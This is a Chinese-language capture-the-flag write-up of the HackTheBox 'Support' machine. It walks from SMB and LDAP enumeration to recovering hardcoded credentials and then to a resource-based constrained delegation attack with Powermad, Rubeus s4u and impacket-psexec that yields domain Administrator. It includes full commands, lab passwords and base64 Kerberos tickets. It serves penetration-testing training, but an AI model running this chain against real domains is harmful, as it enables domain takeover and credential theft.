hackthebox-Support
hackthebox-Support
攻击流程
nmap 扫描
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-05-26 03:30:57Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: support.htb, Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: support.htb, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2026-05-26T03:31:35
|_ start_date: N/A
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled and required
|_clock-skew: -2s
有 smb,先看一下

其中 support-tools 比较奇怪,另外几个是 windows 的默认 share
直接匿名登陆上去看看

有 userinfo 压缩包,拉下来看看

一个 exe,简单逆向一下

.NET 框架,用 dnSpy 反编译一下,有硬编码的 ldap 密码

简单写个脚本复现一下逻辑拿到 password
import base64
enc_pass = "0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E"
key = b"armando"
def get_pass(enc_pass, key):
arr = base64.b64decode(enc_pass)
arr2 = bytearray(arr)
for i in range(len(arr)):
arr2[i] = arr[i] ^ key[i % len(key)] ^ 223
return arr2.decode("ascii")
print(get_pass(enc_pass, key))
#nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz
尝试去连接 ldap,从反编译代码中获取域和用户名
this.entry = new DirectoryEntry("LDAP://support.htb", "support\\ldap", password);
这里域名是 support.htb,用户是 support\ldap,需要注意 ldap 才是最小用户名
ldapsearch -x -H ldap://10.129.6.78 -D 'support\ldap' -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b 'DC=support,DC=htb' "*"
内容很多,大致翻一下
support 用户下有个 info 信息
# support, Users, support.htb
dn: CN=support,CN=Users,DC=support,DC=htb
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: user
cn: support
c: US
l: Chapel Hill
st: NC
postalCode: 27514
distinguishedName: CN=support,CN=Users,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528111200.0Z
whenChanged: 20220528111201.0Z
uSNCreated: 12617
info: Ironside47pleasure40Watchful
memberOf: CN=Shared Support Accounts,CN=Users,DC=support,DC=htb
memberOf: CN=Remote Management Users,CN=Builtin,DC=support,DC=htb
uSNChanged: 12630
company: support
streetAddress: Skipper Bowles Dr
name: support
objectGUID:: CqM5MfoxMEWepIBTs5an8Q==
userAccountControl: 66048
badPwdCount: 6
codePage: 0
countryCode: 0
badPasswordTime: 134242494529050127
lastLogoff: 0
lastLogon: 0
pwdLastSet: 132982099209777070
primaryGroupID: 513
objectSid:: AQUAAAAAAAUVAAAAG9v9Y4G6g8nmcEILUQQAAA==
accountExpires: 9223372036854775807
logonCount: 0
sAMAccountName: support
sAMAccountType: 805306368
objectCategory: CN=Person,CN=Schema,CN=Configuration,DC=support,DC=htb
dSCorePropagationData: 20220528111201.0Z
dSCorePropagationData: 16010101000000.0Z
看起来是个密码
support
Ironside47pleasure40Watchful
到这里就得想办法登录,有 5985 端口所以试试 winrm

登陆上了,但是没权限上 shell?
去拿 bloodhound 看看
先设置一下 hosts
echo "10.129.6.78 support.htb DC.support.htb" | sudo tee -a /etc/hosts
收集 bloodhound 信息
bloodhound-python -u support -p 'Ironside47pleasure40Watchful' -d support.htb -ns 10.129.6.78 -c All
导入 bloodhound 中

发现实际上 support 是 remote management users
但是用 nxc 直接去测依然打不了 winrm

这里折腾了很久,最后发现是我的 wsl 配置了本机的代理,evil-winrm 会经过这个代理,导致访问出了问题。有点吐血,因为最近才在 wsl 稳定配置代理,之前都没遇到这个问题

拿到 user token 后要提权,可以再尝试一下 bloodhound
这里去装了一个旧版(Legacy),感觉这个和网上的一致,功能啥的也好找
导入 json 后,先把 support 节点搜出来,然后在 analysis 的 Shortest Paths to Domain Admins 分析提权路径

可以看到我们的位置(左下角绿色小人)到域控的路径是 CanPSRemote,意味着可以通过 powershell 远程登陆到域控,但是这里依然需要拿到域控的密码或哈希
点开 support 用户的节点,可以看到有一个 Group Delegated Object Control,意思是节点存在的组委派权限行为

发现所在节点的组对 DC 有 GenericAll,也就是完全控制权限
因此我们可以直接做提权,这里可以右键这条边查看帮助
Full control of a computer object can be used to perform a resource based constrained delegation attack.
Abusing this primitive is possible through the Rubeus project.
First, if an attacker does not control an account with an SPN set, Kevin Robertson's Powermad project can be used to add a new attacker-controlled computer account:
New-MachineAccount -MachineAccount attackersystem -Password $(ConvertTo-SecureString 'Summer2018!' -AsPlainText -Force)
PowerView can be used to then retrieve the security identifier (SID) of the newly created computer account:
$ComputerSid = Get-DomainComputer attackersystem -Properties objectsid | Select -Expand objectsid
We now need to build a generic ACE with the attacker-added computer SID as the principal, and get the binary bytes for the new DACL/ACE:
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Next, we need to set this newly created security descriptor in the msDS-AllowedToActOnBehalfOfOtherIdentity field of the comptuer account we're taking over, again using PowerView in this case:
Get-DomainComputer $TargetComputer | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
We can then use Rubeus to hash the plaintext password into its RC4_HMAC form:
Rubeus.exe hash /password:Summer2018!
And finally we can use Rubeus' *s4u* module to get a service ticket for the service name (sname) we want to "pretend" to be "admin" for. This ticket is injected (thanks to /ptt), and in this case grants us access to the file system of the TARGETCOMPUTER:
Rubeus.exe s4u /user:attackersystem$ /rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:admin /msdsspn:cifs/TARGETCOMPUTER.testlab.local /ptt
实际上就是说我们可以打 RBCD(基于资源的约束委派攻击)
简单来说,在基于资源的约束委派攻击中,我们可以向域内新增一台由自己控制的计算机,将其命名为
$FAKE-COMP01;随后配置域控制器(DC),允许这台伪计算机代表域控制器执行操作。
借助 “代表域控制器” 这一权限,我们就能以伪计算机$FAKE-COMP01的身份申请 Kerberos 票据,并在域内模拟高权限用户(例如管理员账户 Administrator)。成功获取 Kerberos 票据后,我们执行票据传递(PtT),以该高权限身份完成认证,最终拿下整个域的控制权。
该攻击需满足三项前置条件:
- 我们需要以 已认证用户组(Authenticated Users)内的域用户身份获取交互 Shell 或代码执行权限。 默认情况下,该组内的任意成员最多可向域中添加 10 台计算机账户。
ms-ds-machineaccountquota属性值必须大于 0。该属性用于限制普通已认证域用户可向域内添加的计算机账户数量。- 当前用户(或用户所属的用户组)必须对某台已加入域的计算机(本次目标为域控制器)拥有写入权限(如完全控制
GenericAll、写入 DACLWriteDACL)。
按照步骤,先看 ms-ds-machineaccountquota
Get-DomainObject -Identity 'DC=SUPPORT,DC=HTB' | select ms-ds-machineaccountquota
然后上传 PowerView,查看 msds-allowedtoactonbehalfofotheridentity
这个属性可以理解为是可以进行资源约束委派的设备列表,存的是二进制 ACL
Get-DomainComputer DC | select name, msds-allowedtoactonbehalfofotheridentity

发现值为空,没有已经存在的可用设备,那我们就打 fake computer
这里有两种打法
使用系统原生的 PowerShell 活动目录模块,修改
PrincipalsAllowedToDelegateToAccount属性并指定为伪计算机FAKE-COMP01,系统会自动同步更新底层的msds-allowedtoactonbehalfofotheridentity属性;
使用 PowerView 模块直接修改msds-allowedtoactonbehalfofotheridentity属性。
这里采用第一种打法,主要是了解这个过程
首先上传 Powermad,加载后利用它来创建伪计算机
New-MachineAccount -MachineAccount FAKE-COMP01 -Password $(ConvertTo-SecureString 'Password123' -AsPlainText -Force)
验证伪计算机信息
Get-ADComputer -identity FAKE-COMP01

然后配置 RBCD,修改 PrincipalsAllowedToDelegateToAccount 属性
这个属性实际上就是 msDS-AllowedToActOnBehalfOfOtherIdentity 的封装,保存的是解析后的属性。因此底层的 msDS-AllowedToActOnBehalfOfOtherIdentity 会同步修改
Set-ADComputer -Identity DC -PrincipalsAllowedToDelegateToAccount FAKE-COMP01$
查看属性验证修改
Get-ADComputer -Identity DC -Properties PrincipalsAllowedToDelegateToAccount
Get-DomainComputer DC | select msds-allowedtoactonbehalfofotheridentity

如果要解析这个二进制数据,需要将字节流转换为原始安全描述符对象
$RawBytes = Get-DomainComputer DC -Properties 'msds-allowedtoactonbehalfofotheridentity' | select -expand msds-allowedtoactonbehalfofotheridentity
$Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $RawBytes, 0
$Descriptor
$Descriptor.DiscretionaryAcl

AceQualifier: AccessAllowed 表示允许访问
AccessMask: 983551 表示最高权限
下面进行 s4u 攻击,本质是通过 s4u 协议的漏洞进行攻击,这里先做复现再去看原理
上传 Rubeus.exe,获取伪计算机的密码的 rc4_hmac 哈希
.\Rubeus.exe hash /password:Password123 /user:FAKE-COMP01$ /domain:support.htb
[*] Input password : Password123
[*] Input username : FAKE-COMP01$
[*] Input domain : support.htb
[*] Salt : SUPPORT.HTBhostfake-comp01.support.htb
[*] rc4_hmac : 58A478135A93AC3BF058A5EA0E8FDB71
[*] aes128_cts_hmac_sha1 : 06C1EABAD3A21C24DF384247BC85C540
[*] aes256_cts_hmac_sha1 : FF7BA224B544AA97002B2BEE94EADBA7855EF81A1E05B7EB33D4BCD55807FF53
[*] des_cbc_md5 : 5B045E854358687C
利用这个哈希为管理员账户生成 Kerberos 票据
.\Rubeus.exe s4u /user:FAKE-COMP01$ /rc4:58A478135A93AC3BF058A5EA0E8FDB71 /impersonateuser:Administrator /msdsspn:cifs/dc.support.htb /domain:support.htb /ptt
[*] Using rc4_hmac hash: 58A478135A93AC3BF058A5EA0E8FDB71
[*] Building AS-REQ (w/ preauth) for: 'support.htb\FAKE-COMP01$'
[*] Using domain controller: ::1:88
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIFhDCCBYCgAwIBBaEDAgEWooIEmDCCBJRhggSQMIIEjKADAgEFoQ0bC1NVUFBPUlQuSFRCoiAwHqAD
AgECoRcwFRsGa3JidGd0GwtzdXBwb3J0Lmh0YqOCBFIwggROoAMCARKhAwIBAqKCBEAEggQ8TEdOYgmj
Px433sa+Rh7+FAaW3M0L6QOZ7hQagQazsMO7hODoXTZKGfz6z7HsD1cZJryFh/YNPIeIdOPR6FRW+qTB
beDsjr7x4C2YOwFdvzcmQhJmhgXARW2zUfL3kgaPbJZmbA0Xn0WQYjCPE0OFQJRB15tqtyiQZMNfcrmm
J18EDf+8slRsJNG9INgz80GAqbQSuaNSLfEe/t2o7gueo2lLWpw9sltP5Owzq7rPqbHINeVcNbtMGF4o
4R2rQCmDa5AGtsnjDaCihd4f0z8+1L1XLAh1qwspiWn+f2/aMZT/lHxa1+UVpk6Ck9ADNbE9DKePf1cu
yEOdxUg1nyIl8Debu++Bzs082fiGeMMMCL6AryQ77ipffkOWVT/P6Ba8yX2rZ4od9IrypYhRiunM2D9h
LZTao13cHBO/smaAxv3KdW6k9lrP25dfjpjTbzItYh/SZF2neGQo92o2Bd59/tgN6mrH+V6Aw/UiTXTM
UdjfW9+FGHinU+tx7De2XvHLr85ZG//rwRaWpUanjvHq33ZRS8bmDYRYmbIH2UsNUAni8mDQObGWNfQ7
CTycw0t0cFcdk3u4ph7uCc0j5y3bhJYe+w1qDko4VJuVm3xk2z3yTs4XckELZa79fWLJsO3ONCCMs7eo
NvF3cOSdX3zkHHk6zHmCDjK5gtSDzJYFvRsCtrTgzwvfYuRLLUlhXFfz0/HAxV42Oty8mBOojgYoSQAa
q0I49pnzgyqdRA8lvkYiVxbJp/wGuxN3SkPT5fHcfEkM3Vi0u5t6MmCh+x/jmWxVtc5jjA3kl1AWSaxE
4N6dloVCqTZqHALKU3mDSCBebeCurWFnbV4YHPP+wHvvedU7lNIPoEwtQRQxXS61B22ZBS7BK+WNo2e3
HmhBjCudm4n2ducsdkSqzkzm934pZlsi4vA7jcFzpSg+wnIh8+WFo6F9/IAhOCXnZ8P7LS1wmlT04CyU
eLpE5UwdBls3QeV01zKFw0Yr7qljJ0MjI9MxEFL+3tS3hB187Tf1+sl0/uYV0M29tUPGSHSFmiLZBPrD
Fk1AcADt0AvB+h4w4cxahUUVxmiNS/pIxsfJgy3TryXdDYvltX0jwSDhsqKNZnPqTzDYrJXGog91brIb
f/CLb5pOdUQ0tcbnIQd61eFHKh+EOsL5vKBF3uFJZXPPkL2CPvBoxtTakaXDVExNcLfhTJn656lBfAy/
9sRb21cxwDfO7qyrcmxAHuZBGsBV0YcGkD2l30Iw35w/9nc2k4x0S9m3Bielc/emi3DsoEOoQ/qGGmBn
aqtu4mCpPqDkpUlkdztpmy2QDYtxoY4dS79hT2ja7X8OP69ODcL38zUgQI6ZOIpoShm3TJW+UAJpZLM2
AOKDL/rRylxw3QI//BAJ9mLhDAUi4LFKXK5SoCOrdmuLFDuU8hG50hmL3OYohtKAjq8C291wCKHULqOB
1zCB1KADAgEAooHMBIHJfYHGMIHDoIHAMIG9MIG6oBswGaADAgEXoRIEEEcNxrSJvAXduFe0Azgfx4Gh
DRsLU1VQUE9SVC5IVEKiGTAXoAMCAQGhEDAOGwxGQUtFLUNPTVAwMSSjBwMFAEDhAAClERgPMjAyNjA1
MjcwMzIyNDNaphEYDzIwMjYwNTI3MTMyMjQzWqcRGA8yMDI2MDYwMzAzMjI0M1qoDRsLU1VQUE9SVC5I
VEKpIDAeoAMCAQKhFzAVGwZrcmJ0Z3QbC3N1cHBvcnQuaHRi
[*] Action: S4U
[*] Building S4U2self request for: 'FAKE-COMP01$@SUPPORT.HTB'
[*] Using domain controller: dc.support.htb (::1)
[*] Sending S4U2self request to ::1:88
[+] S4U2self success!
[*] Got a TGS for 'Administrator' to 'FAKE-COMP01$@SUPPORT.HTB'
[*] base64(ticket.kirbi):
doIFrDCCBaigAwIBBaEDAgEWooIExjCCBMJhggS+MIIEuqADAgEFoQ0bC1NVUFBPUlQuSFRCohkwF6AD
AgEBoRAwDhsMRkFLRS1DT01QMDEko4IEhzCCBIOgAwIBF6EDAgEBooIEdQSCBHHFEJFRcslnCU8bkeIj
s/CAdOCf4baZfm7zw78pQpc7ZePvK8BNKfaG58WjmS9BHnWR0RbxSQaJzrE4xgA+8lw3x34gKmw0lrib
e9rhS8ICHiT/qsH/7NOZPASu0wBwjajeXNUfLfN4kNgg31D2BqhQ3ja7SBNBxrWJrFA26X/EiCJsE58X
QGjqlxknII53tJ7I99ioRa0wnEq1fLBE9I5jfvYS3Rh9Y9WhQllCA0lzP2oX0MXVSTDfmw8C6mYLiGbq
YHICXbqnZSjh0XR60UyUEX7HaeIEGil8Mqci3Aa0S39Yv5PE1uOSnxUNYqniGSxGqTGUxRLsVFhkr9hp
HhljBTTpgsGTcIv3ihSw9tY0VCGNmDYiGiEF5NCg6fq+kpaRF3PS38OsNwpcxlbU7em5iuQNWW5eTOvS
RtOWlXfca7RXe+4+fukweS0UJENWvm1s2UOBN5XkY4/z23x0PEZxT3W+6sOZ2fchX8WuPMxHqtBdBQxy
UWzRTxPkJrKBtjp44k/cMO7mxZQfpV3Y93SEVpeZ+OGewhYAD4zi8CpnsOBnHq02Traso2L9ChdWAnjp
AGA7hDtxcXGvACRjeqqtQ8ZpQDbrPkAx3G5ztSb1EYxQMLb4d0xSn/BHokFS9v/ORU+N3ibJrfzdCYiv
E01bn5uFp8FS7EJGN1U10ZqjtsVwZW3PzoF3+mISEGKccLz+JmoKBEtpbavzSdN2fT816IZhu+87AV6Z
88/DlNKbNuVcIYZPZsTf5z9Sl1UssR+5VptmTygjWKRPvUn5dqLo4gP64mZPu1yW3EScUY00aBpbry+m
ExTHBlDMhIvKQ2f3PFPLLn/Eh2BXlIzaMIWPPelflp2HiVACq9+Op8dtM73YU3BP2tlG0chALz8zIkQQ
O1tLhyBEgLcdPsm9Kc0znO/adfjOq04sw70Cj+dN1kJMlpI5GI93go3pl50/CmDO5KFfJ8XOfngcJGzn
PCywo/G9Kz4VPPw0aTttA7vXQ0xuMmdq1A3c5oMzf4NCYKglIYPwE87Kt/D5pF5Z+TNAKHnLzzQAbh+c
NR/FYPfTO1blFGTyG1iSkC/MsCaBlaeWlb7yApTb2XuBhaxz2FX+MpoWVn7QRrxFXGMH12Ai7s0qUL4E
FV59tWr6gjufNTT1gJ6epOmgVR3fILmu+VPHRDFj4Ek++qDljbyXg2U4xHy0cSnw9GkIUmQ2uw03rTf4
Thu3+4N9Qk6h81wU4rgLobRLXlfNwFOwfv8rcaz7ik/pxJnRqk21MWQChWEa2qP+fPEj1AyE2gbVzRmR
2DlRwgxL6NGXijbvVILAkadkiJ8UzjKdgD0azMy8isfRosuAZijTxJNaWlvOGXd7YlAicGCVB1VwHAgZ
LCh5/wkBQPC6jpE6cHQeims8U9K2075H7sztfxdr+kZLg9qunjoHPrXHb8wDEk1N8q7UwCRE+KSbKQAu
73ixxWGMQDy5MVuHo3lfJxfIQe02crKFpRz+pzTMLBVAYooIkxeK682j+lqjgdEwgc6gAwIBAKKBxgSB
w32BwDCBvaCBujCBtzCBtKAbMBmgAwIBF6ESBBAl7aOm5Gv4IVcVo6DUx3rsoQ0bC1NVUFBPUlQuSFRC
ohowGKADAgEKoREwDxsNQWRtaW5pc3RyYXRvcqMHAwUAQKEAAKURGA8yMDI2MDUyNzAzMjI0M1qmERgP
MjAyNjA1MjcxMzIyNDNapxEYDzIwMjYwNjAzMDMyMjQzWqgNGwtTVVBQT1JULkhUQqkZMBegAwIBAaEQ
MA4bDEZBS0UtQ09NUDAxJA==
[*] Impersonating user 'Administrator' to target SPN 'cifs/dc.support.htb'
[*] Building S4U2proxy request for service: 'cifs/dc.support.htb'
[*] Using domain controller: dc.support.htb (::1)
[*] Sending S4U2proxy request to domain controller ::1:88
[+] S4U2proxy success!
[*] base64(ticket.kirbi) for SPN 'cifs/dc.support.htb':
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
MBYbBGNpZnMbDmRjLnN1cHBvcnQuaHRi
[+] Ticket successfully imported!
这里的三个票据是完整的 Kerberos 认证 + S4U 攻击流程依次产生的三个票据
- TGT(票据授予票据) → 证明你是
FAKE-COMP01$这个账户- S4U2Self TGS(服务票据) → 证明你可以代表
Administrator- S4U2Proxy TGS(最终服务票据) → 能登录 DC 的管理员票据
接下来保存最后一个票据(注意不要保留空白字符)
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
然后解码
base64 -d ticket.kirbi.b64 > ticket.kirbi
直接使用这个凭证是没有作用的,我们需要转换为为 ccache 格式
使用 Impacket 的 ticketConverter.py
impacket-ticketConverter ticket.kirbi ticket.ccache
随后带着凭证使用 impacket 的 pkexec 攻击域控
KRB5CCNAME=ticket.ccache impacket-psexec support.htb/administrator@dc.support.htb -k -no-pass
getshell

知识总结
bloodhound
一个用于分析 Windows 域环境(Active Directory)关系图的安全工具。
它的核心作用是枚举 AD 中的用户、组 、计算机、ACL 权限、会话、委派关系等。并将这些关系构建成图数据库,然后自动寻找:
- Domain Admin 路径
- 横向移动路径
- 委派攻击链
- ACL 滥用路径
它基于 neo4j 图数据库,由收集器和 ui 界面两个部分组成
收集器主要有两种
windows 环境下使用 SharpHound.exe,需要上传到目标机上使用
# 收集所有域信息,自动打包为 ZIP 文件
.\SharpHound.exe -c All --zipfilename domain_loot.zip
# -c参数指定收集方法
# 1. 快速收集(仅核心信息,最快)
.\SharpHound.exe -c Default
# 2. 隐身收集(仅查询 DC,最隐蔽)
.\SharpHound.exe -c DCOnly --stealth
# 3. 仅收集 ACL 权限(专门找 RBCD 攻击点)
.\SharpHound.exe -c ACL,ObjectProps
# 4. 循环收集会话(持续监控管理员登录)
.\SharpHound.exe -c Session --Loop --Loopduration 02:00:00
linux 环境使用 bloodhound-python
bloodhound-python -d support.htb -u support -p 'Support123!' --dc 10.10.10.10 -c All
-d:目标域名
-u:域用户名
-p:域用户密码
--dc:域控制器 IP(必须指定,否则可能解析失败)
-c:收集方法(和 SharpHound 一致)
得到文件后导入 bloodhound 即可分析
Kerberos
一种基于“票据(Ticket)”的网络身份认证协议,广泛用于 Windows Active Directory。Kerberos 主要由三个部分组成:Key Distribution Center (即 KDC)、Client 和 Service。其中 KDC 中包含 AS(Authentication Service) 和 TGS(Ticket Granting Service)
Kerberos 的认证流程大致如下

首先,用户登录,向 AS 请求 TGT。用户输入用户名和密码后,客户端使用密码派生密钥并向 AS 请求认证
AS 验证成功后返回:使用 KDC 的密钥加密的 TGT (Ticket Granting Ticket) 和使用用户密钥加密的 Session Key ,此时客户端获得“身份证”。
然后,客户端拿 TGT 向 TGS 请求服务票据,当用户访问某服务(如 CIFS、HTTP)时:
- 客户端把 TGT 发给 TGS
- 请求对应服务的票据(TGS Ticket)
TGS 验证 TGT 后,返回对应服务的 Service Ticket ,此时客户端获得“某服务的通行证”。
随后客户端携带得到的 Service Ticket 和 Authenticator 信息(时间戳等) 发送给服务端。服务端验证成功后完成认证并建立会话。
在这个过程中密码并不会在网络上传输,但是在这个过程中 TGS 和 Service Ticket 都有可能被导出并复用,甚至票据、Hash、委派关系都能成为身份本身,这也是 Kerberos 常见的攻击点。
Kerberos 委派
Kerberos 中的委派是指允许一个服务代表用户,再去访问其他服务的能力。例如在这样一个场景
